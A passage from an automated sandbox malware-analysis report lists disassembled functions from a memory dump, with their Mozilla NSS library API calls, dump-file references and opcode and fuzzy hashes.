Function 6C3F4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C3FB60F,00000000), ref: 6C3F5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C3FB60F,00000000), ref: 6C3F501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C3FB60F,00000000), ref: 6C3F504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C3FB60F,00000000), ref: 6C3F5064

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 5d30ddc4f3772dbaad6fe0f234336d9ece9202927c4074c3bd14bb31925a5117
Instruction ID: 42013b6c18ab1f8326c7d234335dccf01973caa978659353849a015705ea0c7a
Opcode Fuzzy Hash: 5d30ddc4f3772dbaad6fe0f234336d9ece9202927c4074c3bd14bb31925a5117
Instruction Fuzzy Hash: D331F9B4A056068FDB00EF68C4845AABBF4FF09304B158969D869DB701E731E995CFD2

Function 6C422DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C422E08

Part of subcall function 6C4114C0: TlsGetValue.KERNEL32 ref: 6C4114E0
Part of subcall function 6C4114C0: EnterCriticalSection.KERNEL32 ref: 6C4114F5
Part of subcall function 6C4114C0: PR_Unlock.NSS3 ref: 6C41150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C422E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C422E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C422E95

Part of subcall function 6C411200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C3B88A4,00000000,00000000), ref: 6C411228
Part of subcall function 6C411200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C411238
Part of subcall function 6C411200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C3B88A4,00000000,00000000), ref: 6C41124B
Part of subcall function 6C411200: PR_CallOnce.NSS3(6C512AA4,6C4112D0,00000000,00000000,00000000,?,6C3B88A4,00000000,00000000), ref: 6C41125D
Part of subcall function 6C411200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C41126F
Part of subcall function 6C411200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C411280
Part of subcall function 6C411200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C41128E
Part of subcall function 6C411200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C41129A
Part of subcall function 6C411200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C4112A1

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: 8151ba44f9ae14c05c12dcdd8d2ebe6fd2b65a98c84fad89ea2ab2c9e5c7356f
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: B42126B1D243414BE710CF149D46FBA3764AFA131DF110269ED086BB52FBB5E698C2D2

Function 6C3DACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C3DACC2

Part of subcall function 6C3B2F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C3B2F0A
Part of subcall function 6C3B2F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C3B2F1D

Part of subcall function 6C3B2AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C3B0A1B,00000000), ref: 6C3B2AF0
Part of subcall function 6C3B2AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3B2B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C3DAD5E

Part of subcall function 6C3F57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C3BB41E,00000000,00000000,?,00000000,?,6C3BB41E,00000000,00000000,00000001,?), ref: 6C3F57E0
Part of subcall function 6C3F57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C3F5843

CERT_DestroyCertList.NSS3(?), ref: 6C3DAD36

Part of subcall function 6C3B2F50: CERT_DestroyCertificate.NSS3(?), ref: 6C3B2F65
Part of subcall function 6C3B2F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C3B2F83

free.MOZGLUE(?), ref: 6C3DAD4F

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: 6f79b4842da1487934c95279602f06a21dbc34c70664a90709cc313fd514bbd9
Instruction ID: c18be2d4f0a17704dc242ba24dd9576f5914915fd5e713c30ad8a4e1082c9b2f
Opcode Fuzzy Hash: 6f79b4842da1487934c95279602f06a21dbc34c70664a90709cc313fd514bbd9
Instruction Fuzzy Hash: C021EBB2D002088BEB10DF64DA155EEB7B4EF15218F164168D844BB700FB32BA59CFE6

Function 6C40ECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C40F0AD,6C40F150,?,6C40F150,?,?,?), ref: 6C40ECBA

Part of subcall function 6C410FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3B87ED,00000800,6C3AEF74,00000000), ref: 6C411000
Part of subcall function 6C410FF0: PR_NewLock.NSS3(?,00000800,6C3AEF74,00000000), ref: 6C411016
Part of subcall function 6C410FF0: PL_InitArenaPool.NSS3(00000000,security,6C3B87ED,00000008,?,00000800,6C3AEF74,00000000), ref: 6C41102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C40ECD1

Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C4110F3
Part of subcall function 6C4110C0: EnterCriticalSection.KERNEL32(?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41110C
Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411141
Part of subcall function 6C4110C0: PR_Unlock.NSS3(?,?,?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C411182
Part of subcall function 6C4110C0: TlsGetValue.KERNEL32(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C40ED02

Part of subcall function 6C4110C0: PL_ArenaAllocate.NSS3(?,6C3B8802,00000000,00000008,?,6C3AEF74,00000000), ref: 6C41116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C40ED5A

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: ba22faee7849a5a936e591aebf42d1096c0af171b86f6999a387ba8ec1ffb525
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: C121C2B1E407429BE700CF25D944F62B7E4EFA5309F15822AA85C87B61E770E5A4C6D0

Function 6C43EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C427FFA,?,6C429767,?,8B7874C0,0000A48E), ref: 6C43EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C427FFA,?,6C429767,?,8B7874C0,0000A48E), ref: 6C43EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C427FFA,?,6C429767,?,8B7874C0,0000A48E), ref: 6C43EE14

Part of subcall function 6C410BE0: malloc.MOZGLUE(6C408D2D,?,00000000,?), ref: 6C410BF8
Part of subcall function 6C410BE0: TlsGetValue.KERNEL32(6C408D2D,?,00000000,?), ref: 6C410C15

memcpy.VCRUNTIME140(?,?,6C429767,00000000,00000000,6C427FFA,?,6C429767,?,8B7874C0,0000A48E), ref: 6C43EE33

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 35e9706ede68e3c269d14ddc4b55230e914da93f03108ebeb0cd9b46876810ff
Instruction ID: 19dd77226e200d314246b6adb5bafcecb4860145897a3339118a3c08729d56cc
Opcode Fuzzy Hash: 35e9706ede68e3c269d14ddc4b55230e914da93f03108ebeb0cd9b46876810ff
Instruction Fuzzy Hash: 8E119471A02726ABDB10DE66DCC5F46B368EF4835DF204535E91D86B81E331F86487E2

Function 6C3D8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C3D8DE7
EnterCriticalSection.KERNEL32 ref: 6C3D8DFC
PR_Unlock.NSS3 ref: 6C3D8E2D
PR_SetError.NSS3 ref: 6C3D8E49

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: ed764e4218bf78a657f5b6a2f55e328d8273261dab5bf90e64f0327870eef476
Instruction ID: 40852faf8488c0c5180cbae81d0e8ef1556b866120c9ddec8af689853ff63289
Opcode Fuzzy Hash: ed764e4218bf78a657f5b6a2f55e328d8273261dab5bf90e64f0327870eef476
Instruction Fuzzy Hash: 2A116D71605A019FD700AF78C48856ABBF4FF05314F024969D888DBB00E731F8A4CBD2

Function 6C45AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C445F17,?,?,?,?,?,?,?,?,6C44AAD4), ref: 6C45AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C445F17,?,?,?,?,?,?,?,?,6C44AAD4), ref: 6C45ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C44AAD4), ref: 6C45ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C44AAD4), ref: 6C45ACDB

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: f1ad1b32c5efc3ab329e4db6f63aeeaebe3a2b60f1bb8d838e78bb076754b6fe
Instruction ID: a18066e8ff9973a100eac0f6491adef65a332e263ed5fe9595b4cdd7414831e9
Opcode Fuzzy Hash: f1ad1b32c5efc3ab329e4db6f63aeeaebe3a2b60f1bb8d838e78bb076754b6fe
Instruction Fuzzy Hash: 240129B1701B029BE751DF29D909A57B7E8FF0165AB504839E85AC7B00E731F065CBA2

Function 6C440840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C512F88,6C440660,00000020,00000000,?,?,6C442C3D,?,00000000,00000000,?,6C442A28,00000060,00000001), ref: 6C440860

Part of subcall function 6C334C70: TlsGetValue.KERNEL32(?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334C97
Part of subcall function 6C334C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334CB0
Part of subcall function 6C334C70: PR_Unlock.NSS3(?,?,?,?,?,6C333921,6C5114E4,6C47CC70), ref: 6C334CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C442C3D,?,00000000,00000000,?,6C442A28,00000060,00000001), ref: 6C440874
EnterCriticalSection.KERNEL32(00000001), ref: 6C440884
PR_Unlock.NSS3 ref: 6C4408A3

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 726aac38c4d0175b952f831ec2569d2078712948acb5a68139052b0a8cdc7eca
Instruction ID: ef793a24d253ac2a802c8d6de5f57f01b8e22147bd45a79787a6e65e48b46e07
Opcode Fuzzy Hash: 726aac38c4d0175b952f831ec2569d2078712948acb5a68139052b0a8cdc7eca
Instruction Fuzzy Hash: 59012071A002446FFB00AF24DD4AD557B34DB67319F154565FC0855F01EB2294B487E1

Function 6C4CCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C4CCC61
free.MOZGLUE ref: 6C4CCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C4CCC80
free.MOZGLUE(?), ref: 6C4CCC87

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 8083e2e48723719ebe4167a5cc29083a5203b772f7f72b74a8fb64f835f8a3c6
Instruction ID: 2c9071ab137eeb077b49d7fdf2f4255fefe5f212efe81fe5f6f0f3610450e2e6
Opcode Fuzzy Hash: 8083e2e48723719ebe4167a5cc29083a5203b772f7f72b74a8fb64f835f8a3c6
Instruction Fuzzy Hash: 67E030767006089BCA10EFA8DC4488A77ACEE4A2703560529E691C7740D331F905CBA5

Function 6C404D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C404D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C404DE6

Strings

%d.%d, xrefs: 6C404DDE

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: cb9d7d17c7b9547fb050d2d09a0257ea9802e995ca520334dd7e58dc69769722
Instruction ID: f0d93701e09a395aa09ace6aaa8ae9d0b556d4c5a8a35fd0bfc07e4a035af2a8
Opcode Fuzzy Hash: cb9d7d17c7b9547fb050d2d09a0257ea9802e995ca520334dd7e58dc69769722
Instruction Fuzzy Hash: 8D31E2B2E402186AEB10DBA19C05FFF7768EF94348F050439ED559B781EB709909CBE2

Function 6C424CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8Bl,00000000,00000000,?,?,6C423827,?,00000000), ref: 6C424D0A

Part of subcall function 6C410840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4108B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C424D22

Part of subcall function 6C40FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C3B1A3E,00000048,00000054), ref: 6C40FD56

Strings

'8Bl, xrefs: 6C424D07

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8Bl
API String ID: 1521942269-2962422855
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: d3d073d3f55b2189f443a81293497a4b9745738ceadcb40e89fbf3642a05be6c
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: BDF0903262122467EB10CE6AAC81F4336DCDB416FEF141271ED28CBB81E635CC01C6E1

Function 6C44AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C44AF78

Part of subcall function 6C3AACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3AACE2
Part of subcall function 6C3AACC0: malloc.MOZGLUE(00000001), ref: 6C3AACEC
Part of subcall function 6C3AACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C3AAD02
Part of subcall function 6C3AACC0: TlsGetValue.KERNEL32 ref: 6C3AAD3C
Part of subcall function 6C3AACC0: calloc.MOZGLUE(00000001,?), ref: 6C3AAD8C
Part of subcall function 6C3AACC0: PR_Unlock.NSS3 ref: 6C3AADC0
Part of subcall function 6C3AACC0: PR_Unlock.NSS3 ref: 6C3AAE8C
Part of subcall function 6C3AACC0: free.MOZGLUE(?), ref: 6C3AAEAB

memcpy.VCRUNTIME140(6C513084,6C5102AC,00000090), ref: 6C44AF94

Strings

SSL, xrefs: 6C44AF73

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: 790195bf2b572e0590680bcdbdc49dfe8c449ee1ef658215d33582a0d63c2053
Instruction ID: c3bb9c2785ae0c614f6f1010fa8dd8cf237c5cbecbd0adc32ad4e601fad18b57
Opcode Fuzzy Hash: 790195bf2b572e0590680bcdbdc49dfe8c449ee1ef658215d33582a0d63c2053
Instruction Fuzzy Hash: 85214ABA706E489EEA00DF61AD6BF16FEF0F3026487279558C5091BF24D73141489FD9

Function 6C3BC810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36timeCOMMON

Download Yara Rule

APIs

CERT_CheckCertValidTimes.NSS3(?,00000000,-00000078,00000000,?,00000000,];l,6C3B6499,-00000078,00000000,?,?,];l,?,6C3B5DEF,?), ref: 6C3BC821

Part of subcall function 6C3B1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C3B1E0B
Part of subcall function 6C3B1DD0: DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C3B1E24

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,00000000,?,?,];l,?,6C3B5DEF,?,?,?), ref: 6C3BC857

Strings

];l, xrefs: 6C3BC810

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

